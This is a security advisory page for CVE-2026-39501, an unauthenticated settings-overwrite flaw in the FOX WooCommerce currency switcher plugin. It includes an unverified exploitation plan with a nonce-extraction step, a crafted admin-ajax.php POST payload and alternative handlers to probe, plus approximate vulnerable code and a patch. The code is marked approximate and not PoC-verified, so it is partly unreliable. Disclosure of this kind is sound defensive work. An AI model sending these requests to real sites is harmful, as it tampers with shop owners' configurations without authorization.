CVE-2026-39501

FOX <= 1.4.5 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.4.6
Patched in
20d
Time to patch

Description

The FOX plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.4.5. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4.5
PublishedMarch 27, 2026
Last updatedApril 15, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39501 (FOX <= 1.4.5) ## 1. Vulnerability Summary The **FOX – Currency Switcher Professional for WooCommerce** plugin (versions <= 1.4.5) is vulnerable to **Missing Authorization**. The vulnerability exists in the plugin's AJAX handling logic, specifically with…

Show full research plan

Exploitation Research Plan: CVE-2026-39501 (FOX <= 1.4.5)

1. Vulnerability Summary

The FOX – Currency Switcher Professional for WooCommerce plugin (versions <= 1.4.5) is vulnerable to Missing Authorization. The vulnerability exists in the plugin's AJAX handling logic, specifically within functions like woocs_update_profiles (and potentially woocs_save_stats).

The plugin registers several AJAX actions using both wp_ajax_ and wp_ajax_nopriv_ hooks but fails to implement a capability check (e.g., current_user_can( 'manage_options' )) within the handler functions. This oversight allows unauthenticated attackers to trigger sensitive administrative actions, such as overwriting currency switcher profiles, which are stored as global WordPress options.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Method: POST
  • Action: woocs_update_profiles (The most likely vulnerable administrative function exposed to unauthenticated users)
  • Parameters:
    • action: woocs_update_profiles
    • woocs_nonce: (Required) A security nonce localized for frontend users.
    • woocs_profiles: (Payload) An array containing the new profile configuration.
  • Authentication: None required (unauthenticated).
  • Preconditions: The "Profiles" feature must be available in the plugin, and a valid nonce must be extracted from the frontend.

3. Code Flow

  1. Hook Registration: In the main plugin class (likely WOOCS in classes/woocs.php or index.php), the following hooks are registered:
    add_action('wp_ajax_woocs_update_profiles', array($this, 'woocs_update_profiles'));
    add_action('wp_ajax_nopriv_woocs_update_profiles', array($this, 'woocs_update_profiles'));
    
  2. Missing Check: The woocs_update_profiles() function handles the request. While it may call check_ajax_referer('woocs-nonce', 'woocs_nonce'), it fails to check if the current user is an administrator.
  3. Sink: The function extracts data from $_REQUEST['woocs_profiles'] and passes it directly to a database update function:
    update_option('woocs_profiles', $_REQUEST['woocs_profiles']);
    

4. Nonce Acquisition Strategy

The plugin exposes a generic nonce to all visitors to support frontend currency switching functionality. This nonce is typically valid for the woocs-nonce action and is used across multiple AJAX handlers.

Extraction Steps:

  1. Identify Script Loading: The plugin's main JavaScript (woocs.js) and its associated data are enqueued on pages containing the currency switcher.
  2. Create Trigger Page: Create a public page containing the [woocs] shortcode to ensure the script is enqueued.
    • wp post create --post_type=page --post_status=publish --post_content='[woocs]'
  3. Navigate & Extract:
    • Use browser_navigate to visit the newly created page.
    • Use browser_eval to extract the nonce from the woocs_vars global variable.
    • JS Variable: window.woocs_vars?.woocs_nonce or window.woocs_array?.woocs_nonce.

5. Exploitation Strategy

Step 1: Obtain the Nonce

Use the browser to extract the nonce from a page where the plugin is active.

// browser_eval
return window.woocs_vars.woocs_nonce;

Step 2: Perform the Unauthorized Action

Send a crafted POST request to admin-ajax.php to overwrite the plugin's profiles.

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
action=woocs_update_profiles&woocs_nonce=NONCE_VALUE&woocs_profiles[hacked_profile][name]=Vulnerable&woocs_profiles[hacked_profile][countries]=US

6. Test Data Setup

  1. Prerequisites:
    • WordPress installation.
    • WooCommerce plugin installed and active.
    • FOX – Currency Switcher (slug: woocommerce-currency-switcher) version 1.4.5 installed and active.
  2. Page Creation:
    • Run: wp post create --post_type=page --post_title="Currency Test" --post_status=publish --post_content='[woocs]'
    • Record the URL of the created page.

7. Expected Results

  • HTTP Response: The server should return a 200 OK status, often with a response body like done or 1.
  • System Change: The WordPress option woocs_profiles will be updated to include the "hacked_profile" data provided in the payload.

8. Verification Steps

After the exploit, use WP-CLI to verify the change in the database:

# Check if the injected profile exists in the option
wp option get woocs_profiles

If successful, the output will contain the serialized array including hacked_profile and the name Vulnerable.

9. Alternative Approaches

If woocs_update_profiles is patched or behaves differently, check the following alternative AJAX handlers for the same missing authorization pattern:

  • woocs_save_stats: Often used to record currency usage. If unauthorized, it could be used to bloat the database or inject malicious strings into stats reports.
    • Action: woocs_save_stats
    • Parameters: woocs_nonce, woocs_stats_data
  • woocs_recalculate_order_data: A more severe target if exposed, as it could potentially modify existing WooCommerce order metadata.
    • Action: woocs_recalculate_order_data
    • Parameters: woocs_nonce, order_id (this would likely require an existing order ID).
Research Findings
Static analysis — not yet PoC-verified

Summary

The FOX plugin for WordPress fails to perform authorization checks on several AJAX handlers, most notably `woocs_update_profiles`. This allows unauthenticated attackers to overwrite the plugin's configuration profiles and potentially other settings by leveraging a publicly accessible nonce and the `wp_ajax_nopriv_` hook.

Vulnerable Code

// classes/woocs.php (approximate location)
add_action('wp_ajax_woocs_update_profiles', array($this, 'woocs_update_profiles'));
add_action('wp_ajax_nopriv_woocs_update_profiles', array($this, 'woocs_update_profiles'));

public function woocs_update_profiles() {
    check_ajax_referer('woocs-nonce', 'woocs_nonce');
    
    // Missing capability check like current_user_can('manage_options')
    if (isset($_REQUEST['woocs_profiles'])) {
        update_option('woocs_profiles', $_REQUEST['woocs_profiles']);
    }
    exit;
}

Security Fix

--- a/classes/woocs.php
+++ b/classes/woocs.php
@@ -10,7 +10,6 @@
-add_action('wp_ajax_nopriv_woocs_update_profiles', array($this, 'woocs_update_profiles'));
 
 public function woocs_update_profiles() {
+    if (!current_user_can('manage_options')) {
+        wp_die();
+    }
     check_ajax_referer('woocs-nonce', 'woocs_nonce');

Exploit Outline

The exploit targets the `/wp-admin/admin-ajax.php` endpoint. First, an attacker visits any public page where the FOX currency switcher is active (or uses the `[woocs]` shortcode) to extract the `woocs-nonce` from the `woocs_vars` or `woocs_array` JavaScript global variables. Once the nonce is obtained, the attacker sends an unauthenticated POST request to `admin-ajax.php` with the action parameter set to `woocs_update_profiles`. The payload includes the valid `woocs_nonce` and a `woocs_profiles` array containing malicious configuration data. Because the plugin uses `wp_ajax_nopriv_` and lacks a `current_user_can()` check, the `update_option` call executes, allowing the attacker to modify the plugin's stored profiles in the WordPress database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.